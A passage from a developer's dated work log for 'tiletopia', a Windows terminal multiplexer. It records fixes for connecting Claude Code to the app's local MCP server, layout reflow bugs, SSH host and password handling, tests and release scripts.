tiletopia.exefrom earlier launches. Block rules win over Allow rules in WDF. Fix: nuke alltiletopia*rules, create oneAllow Any-profile LocalPort 47821rule. Confirmed working with curl 401 from Windows + WSL. - rmcp DNS-rebinding allowlist (
StreamableHttpServerConfig.allowed_hostsdefaults to["localhost", "127.0.0.1", "::1"]). WSL clients hit via the gateway IP172.x.x.1, which isn't in the list — rmcp loggedrejected request with disallowed Host header. Fix:.disable_allowed_hosts()on the config. Bearer auth handles the real gatekeeping; we're not in a browser context. - Bearer auth middleware intercepted OAuth-discovery probes. Claude Code probes
/.well-known/oauth-protected-resource,/.well-known/oauth-authorization-server,/register, etc. before sending the static bearer. Our middleware was returning401 + WWW-Authenticate: Beareron those paths — Claude interpreted that as "OAuth supported" and abandoned the static bearer in.mcp.json. Fix: skip auth enforcement for any path outside/mcp(mcp.rs:bearer_auth). - Claude Code's HTTP-MCP client is OAuth-only-ish. Even with discovery paths returning bare 404s, Claude's
/mcpUI hung inNeeds authentication, never sent a realPOST /mcp, and offered an "Authenticate" button that opened a (non-existent) browser flow. Logs confirmed: not a singleMCP requestafterMCP server listening. Theheaders: { Authorization: "Bearer ..." }field IS the documented mechanism, but it's broken in Claude Code per #17152 (cosmetic UI bug) and #46879 (auth requirement triggered by the existence of well-known endpoints, not by 401 responses).
The working path: mcp-remote stdio shim. Replace the HTTP server entry in .mcp.json with:
{
"mcpServers": {
"tiletopia": {
"command": "npx",
"args": [
"-y", "mcp-remote",
"http://127.0.0.1:47821/mcp",
"--allow-http",
"--header", "Authorization: Bearer <token>"
]
}
}
}
From Claude's perspective tiletopia is now stdio; mcp-remote proxies every JSON-RPC call over HTTP with the bearer baked in, bypassing Claude Code's HTTP-MCP machinery entirely. --allow-http is required because mcp-remote blocks non-HTTPS URLs except for localhost. The panel's "Copy config snippet" generates this shape now.
Cleanups after the shim worked:
- Dropped the experimental
json_not_foundfallback handler (was added when we thought a JSON-bodied 404 would satisfy Claude's discovery parser; not needed once we went stdio). - Diagnostic
tracing::info!for per-request auth state dropped totracing::debug!(silent by default, available behindRUST_LOG=tiletopia_lib::mcp=debug). - README + help-overlay tip rewritten around the shim recipe + WSL firewall + WSL gateway-IP / mirrored-networking choice.
Root-cause sequence worth remembering: five distinct failures masked each other, and each new error message looked like a config bug. Methodical curl-from-WSL + log inspection was what cut through it — never trust the client's "auth failed" string without seeing whether the server was even reached.
Open follow-ups specific to this session:
- CLAUDE.md (root) still says Svelte 5 in stack — was noted in 2026-05-25's entry too; still not fixed.
.mcpbbundle would let Claude Desktop install the shim + bearer without hand-editing.mcp.json. Was already in the previous MCP TODO list; this session reinforces the need.- Direct HTTP-MCP can drop the shim once Claude Code fixes #17152 / #46879. Worth watching those issues.
- Panel could pre-flight check for
npx/ Node presence on the WSL/host side and warn if missing. Currently the user only discovers the shim needs Node when Claude fails to spawn it. - Server-side OAuth metadata (RFC 9728 PRM at
/.well-known/oauth-protected-resource) is the spec-blessed path but requires actually implementing OAuth dynamic client registration. Big scope; not worth it for the shim's lifetime.
2026-05-25 — Reflow bug fix + titlebar tidy-up
- Bug: terminal text reflowing every few seconds. User reported "redrawing every few seconds" with text changing lines. Added a
console.traceinside theResizeObserverinXtermPane.tsx, then expanded the diagnostic to log titlebar/pane-wrap/leaf/toolbar heights. Caught it: titlebar was oscillating between 34px and 50px in sync with pane heights changing by ±15.4px (one button-row). - Root cause: text-wrap inside flex buttons. Titlebar is
display: flexwith defaultflex-wrap: nowrap. Buttons have nowhite-space: nowrap. On a narrow window, flex items shrink past their natural width → text wraps inside a button (e.g. "📡 all off" → two lines) → button grows ~16px → titlebar grows ~16px →.pane-wrapshrinks →ResizeObserverfires on every xterm →fit()reflows. The periodic flap was idle detection: whenidleLeafIds.sizetoggles between 0 and N,.layout-infogains/loses " · N idle", which is just enough extra width to push a button across its wrap threshold. Same root cause on narrow per-pane toolbars (tlb=37was visible in the diagnostic for a 200px pane). - Fix: lock heights on both bars.
.titlebar { height: 34px; white-space: nowrap; }+.titlebar > * { flex-shrink: 0 }; same shape for.pane-toolbar { height: 24px; ... }. First attempt also usedoverflow: hiddenwhich left an ugly horizontal scrollbar (auto) AND would have clipped dropdowns — removed. Final:nowrap+flex-shrink:0+ fixedheightis enough; overflow stays visible. Commite464464. - Titlebar tidy-up. Pre-fix titlebar was crowded (inline distro buttons + PowerShell + 🔑 SSH hosts + 5 preset buttons + others). Collapsed:
- Inline shell buttons → single
Ubuntu ▾dropdown (WSL + Windows sections), reusing the existing.distro-menu / .shell-menustyles fromLeafPane.css(global classes). - 5 preset buttons →
layout ▾dropdown (Single pane / Two columns / Three columns / Two rows / 2×2 grid). 🔑stays as a separate icon-only button next to the shell picker.- 🔔 test-toast button removed (dev crutch).
- Inline shell buttons → single
+spawn button. User pointed out "default:" semantics were weak — the picked shell only fired on first-boot or close-last-pane. Repurposed: dropped the "default:" label, added a+button next to the picker. Click+→ splits the active pane with the currently-picked shell, smart-oriented (split right if pane is wider than tall, down otherwise). Per-pane⇥/⇣arrows still inherit from parent (best for "another window into this context"); the titlebar selection only fires on+/ boot / close-last. Commitfa18307.
Open follow-ups from this session:
- CLAUDE.md still names Svelte 5 in the stack; should be updated to React 18.
- Keyboard shortcut for
+? Currently mouse-only.Ctrl+Shift+Nwould be the conventional choice but isn't bound. - Narrow window UX. With
overflow: visible, titlebar items that don't fit horizontally render past the right edge / get clipped by the viewport. Acceptable but not great. A real fix is to collapse less-important items into an overflow menu when width is tight.
2026-05-25 — SSH + clickable links + promote + help + MCP v1
Big session, ~12 commits. Headlines:
- PowerShell as a third shell kind alongside WSL distros, then refactored to an explicit
shellKind: "wsl" | "powershell" | "ssh"discriminator onLeafNodewith migration on deserialize (legacydistro:"PowerShell"→shellKind:"powershell"). - Backend SpawnSpec enum (serde-tagged) replaces the old
distro: Option<String>model.pty.rs::spawndispatches; SSH buildsssh.exe -t [-l user] [-p port] [-i id] [-J jump] -- hostwithTERM=xterm-256color. Token validation rejects leading-and control chars (CVE-2023-51385). - Clickable URLs via
@xterm/addon-web-linksrouted through@tauri-apps/plugin-opener. Needed scopedopener:allow-open-urlpermission withhttp/https/mailtoallow list, not the bare identifier. - Saved SSH hosts with manager modal (label/host/user/port/identityFile/jumpHost/extraArgs), stored in
hosts.json. Hierarchical per-pane dropdown: WSL distros → PowerShell → SSH hosts → "Manage hosts…". - Saved passwords in Windows Credential Manager via
keyring-core1.0 +windows-native-keyring-store1.0 (keyring-rs 4.x is sample code only now; the lib was split). Reader thread autotypes the password when ssh prompts (password:/passphraseregex, 30s window, one-shot). Passwords never on disk, never in IPC events, never in MCP. - Promote-out gesture: first tried drag-past-sibling (75% then 50% threshold), but the inner gutter is too easy to miss — xterm canvas hit-testing felt unreliable. Ripped all the drag-armed/preview logic, replaced with Ctrl+Shift+P keyboard shortcut that calls
promoteLeaf(tree, activeLeafId)(self-inverse). - Help overlay: titlebar
?button + F1, sourced from a singlesrc/lib/shortcuts.tsSoT (sections + tips). - MCP server v1 (read-only) via
rmcp1.7.0 Streamable HTTP on 127.0.0.1, bearer-token auth, OS-picked port. Per-panemcpAllowflag (default-deny) gates what's mirrored to the backend. Resources:tiletopia://layout,tiletopia://panes,tiletopia://hosts. Tools:read_pane(leaf_id, last_lines, after_seq)+wait_for_idle(leaf_id, idle_ms, timeout_ms). 256 KB per-pane scrollback ring populated by the PTY reader thread. Titlebar 🤖 toggle opens anMcpPanelwith URL + token + ready-to-paste Claude config snippet. - WSL → Windows networking gotcha: WSL2 default NAT mode hides Windows
127.0.0.1. User needsnetworkingMode=mirroredin%UserProfile%\.wslconfig(Win 11 22H2+) thenwsl --shutdownto reconnect. Documented in McpPanel + README + help overlay. - Tree-helper data model also gained:
setLeafShell(replaceschangeDistrofor shell switches; id-swap forces respawn),promoteLeaf,toggleMcpAllow.reshapeToPresetcarries new fields. 72 vitest cases, all green.
Open follow-ups specific to this session:
- MCP v2 —
write_pane,spawn_pane,connect_host,close_pane,apply_preset,promote_pane,set_label,swap_panes,add_host. Spawned panes should auto-setmcpAllow=true(per user). Still skipset_host_passwordfrom MCP. - MCP write surface should require a confirmation for
write_paneon SSH panes (footgun avoidance). .mcpbbundle as a one-click Claude Desktop install path.- Per-pane MCP audit log in the panel — show last N tool calls so the user can spot Claude doing surprising things.
2026-05-22 — M5 ship infrastructure
- New icon:
scripts/make-icon.py(Pillow) draws a 1024×1024 dark rounded square with a 2×2 grid — one tile in the active-blue, one in the broadcast-orange, two muted. Mirrors the in-app.leaf.active/.leaf.broadcastingcolors so the brand is consistent end-to-end. - Generated the full icon set via
pnpm tauri icon src-tauri/icons/source.png. Pruned the iOS/Android/UWP outputs Tauri also emits — kept only32x32.png,128x128.png,128x128@2x.png,icon.icns,icon.ico,source.png(mirrors widget's slim set). - Version bump 0.0.1 → 0.1.0 across
package.json,src-tauri/Cargo.toml,src-tauri/tauri.conf.json. First "real" release. scripts/release.sh: takesvX.Y.Z, sanity-checks (clean tree, on main, in sync with origin, package.json version matches tag, installer exists, tag doesn't already exist), tags + pushes, thentea releases create --asset <installer>to attach the NSIS .exe.- README rewritten with
Installsection pointing at Forgejo releases,Using itcheatsheet for all the M2-M4 features, and aDevelop/Test/Releasetriplet that documents the WSL↔Windows split.
2026-05-22 — Tests: vitest on tree.ts
- Added vitest 2.x as a devDep;
pnpm test/pnpm test:watchscripts. - Extended
vite.config.tswith atest:block (node environment,src/**/*.test.ts) usingvitest/config-flavored defineConfig. - New
src/lib/layout/tree.test.ts: 43 cases covering newLeaf/newSplit (defaults + props), replaceById (immutability + sibling preservation), splitLeaf (inheritance + no-op on miss), closeLeaf (root/sibling-collapse/nested), findLeaf, leafCount, walkLeaves (left-to-right order), changeDistro (MUST swap id), changeLabel (MUST NOT swap id, trim/clear), toggleBroadcast (MUST NOT swap id), all 5 presets (shape + distro propagation + fresh ids), serialize/deserialize roundtrip + invalid-input rejection. - Notable invariants the tests pin down:
changeDistroswaps the leaf id (we rely on{#key}to remount XtermPane → kill the old PTY → spawn a fresh one);changeLabelandtoggleBroadcastkeep the same id (metadata-only, no respawn). Regressing either of those silently would break the UX in subtle ways — tests catch it.
2026-05-22 — M4 orchestration (broadcast + notifications + palette)
tree.ts: addedbroadcast?: booleanto LeafNode;walkLeavesgenerator;toggleBroadcasthelper (metadata-only, no id swap).ops.ts: extendedPaneOpswithtoggleBroadcast,broadcastFrom,setActivePane,registerPaneId,notify, plusactiveLeafIddata field.XtermPane.svelte: added optional callbacksonSpawn,onInput(called after each writeToPane on user keypress),onDataReceived(called per PTY output chunk), and afocusTriggerprop (counter; bumping it refocuses the terminal). All optional; pre-M4 callers untouched.LeafPane.svelte: 📡 broadcast toggle in toolbar; idle detection (5s threshold, 1s polling, fires once per idle cycle); active/broadcasting border colors; click anywhere on the leaf sets it active; on active=true bumps focusTrigger so XtermPane refocuses.- New
Notifications.svelte: top-right toast stack, slide-in animation, 5s auto-dismiss + manual ×. - New
Palette.svelte: modal overlay with backdrop, autofocused text input, filtered list (label/distro/cwd substring), ↑/↓ navigation, Enter/click to pick, Escape to close. App.svelte: paneIdByLeaf Map (non-reactive lookup); notifications $state with auto-dismiss; activeLeafId; paletteOpen with global Ctrl+K listener; broadcastFrom routes via walkLeaves + writeToPane; ⌘K button in titlebar.pnpm checkclean (111 files).
2026-05-22 — M3 persistence + presets + per-pane distro/label
- Backend: added
save_workspace(json)andload_workspace()Tauri commands. Atomic write via tmp + rename. Path resolved fromapp.path().app_config_dir(). - Frontend ipc:
saveWorkspace/loadWorkspacewrappers. tree.ts: addedchangeDistro(with id swap to force XtermPane remount),changeLabel, and 5 preset trees (single, 2H, 3H, 2V, 2×2).- New
lib/layout/ops.tswithPaneOpsinterface; refactoredPane.svelte/SplitNode.svelte/LeafPane.svelteto takeopsinstead of individual callbacks. LeafPane.svelte: in-toolbar pane-label editor (click to rename, Enter saves, Esc cancels) and distro chip with click-popover. Picking a different distro in the popover respawns the pane.App.svelte: migrated to APPDATA persistence with 500ms debounce. One-time localStorage→APPDATA migration on boot. Split inherits parent's distro+cwd viafindLeaf. Titlebar preset buttons (1 / 2H / 3H / 2V / 2×2) with a confirm prompt when replacing >1 pane.pnpm checkclean (109 files, 0 errors, 0 warnings).- Manual verification on Windows: (to fill in)
2026-05-22 — M2 splits-tree layout
- Added
src/lib/layout/:tree.ts(pure helpers: types, newLeaf, splitLeaf, closeLeaf, replaceById, serialize/deserialize with shape-checking),SplitNode.svelte(flex container + draggable gutter with pointer-capture),LeafPane.svelte(toolbar with split-right/split-down/close + XtermPane underneath),Pane.svelte(recursive dispatcher). - Rewrote
App.svelteto hold the tree as$stateand wire split/close callbacks through. Auto-saves to localStorage on every$effecttick. - Distro UX: titlebar shows clickable distro buttons that set the default for new panes. Existing panes keep their distro. Per-pane override is M3.
- Passes
pnpm checkcleanly (108 files, 0 errors, 0 warnings). - Validated manually on Windows: splits-right and splits-down work, both panes stay alive, gutter drag reflows both xterm sides cleanly, close-pane collapses to the sibling, layout restores from localStorage across window restarts.
2026-05-22
- Graduated from
ideas/wsl-mux/to project. Renamed working namewsl-mux→ final nametiletopiaacross Cargo/package/Tauri configs and source. - Promoted spike contents from
D:\dev\wsl-mux\spike\toD:\dev\tiletopia\(no more spike subdir; the project IS what was the spike). - Initialized git, created private Forgejo repo
tiletopia, pushed initial scaffold. - M1 verified manually on the Windows host: window opens, xterm.js renders,
claudeTUI works inside the pane, resize reflows cleanly,htoprenders. Distro auto-pick chosedocker-desktop(Docker Desktop's BusyBox helper distro) on first try — added explicit clickable distro buttons in the titlebar as both a diagnostic and a manual override. ClickingUbuntuworks end-to-end. - Old idea folder archived to
~/claude/archive/ideas/wsl-mux/(preserves full brainstorm + session log).
External references
- Approved plan / roadmap:
~/.claude/plans/imperative-coalescing-feigenbaum.md(M0–M5 milestones with verification criteria for each) - Stack precedent:
~/claude/projects/claude-usage-widget/— same Tauri + Svelte + WebView2 toolchain, already ships a Windows installer via Forgejo releases. WSL distro-probing logic copied/adapted intosrc-tauri/src/pty.rs. - Archived idea history:
~/claude/archive/ideas/wsl-mux/plan.md - Forgejo repo: https://git.rdx4.com/megaproxy/tiletopia
- xterm.js docs: https://xtermjs.org/
- portable-pty crate: https://crates.io/crates/portable-pty
- Tauri 2 docs: https://v2.tauri.app/
- Prior art for splits-tree layout: i3, tmux, Zellij, WezTerm